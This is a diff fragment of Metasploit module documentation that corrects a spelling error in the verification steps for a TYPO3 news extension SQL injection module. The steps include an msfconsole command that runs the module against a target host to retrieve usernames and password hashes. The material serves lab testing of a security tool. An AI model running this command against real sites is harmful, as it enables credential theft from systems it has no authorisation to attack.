@@ -28,7 +28,7 @@ The value for query parameter `id` of the page that the news extension is runnin
- [ ] Enable the news extension
- [ ] Import [vulnerable page](https://github.com/rapid7/metasploit-framework/files/1015777/T3D__2017-05-20_02-17-z.t3d.zip)
- [ ] Enable page
- [ ] Verify if page is visble to unauthenticated user and note the id
- [ ] Verify if page is visible to unauthenticated user and note the id
- [ ] `./msfconsole -q -x 'use auxiliary/admin/http/typo3_news_module_sqli; set rhost <rhost>; set id <id>; run'`
- [ ] Username and password hash should have been retrieved

Some files were not shown because too many files have changed in this diff Show More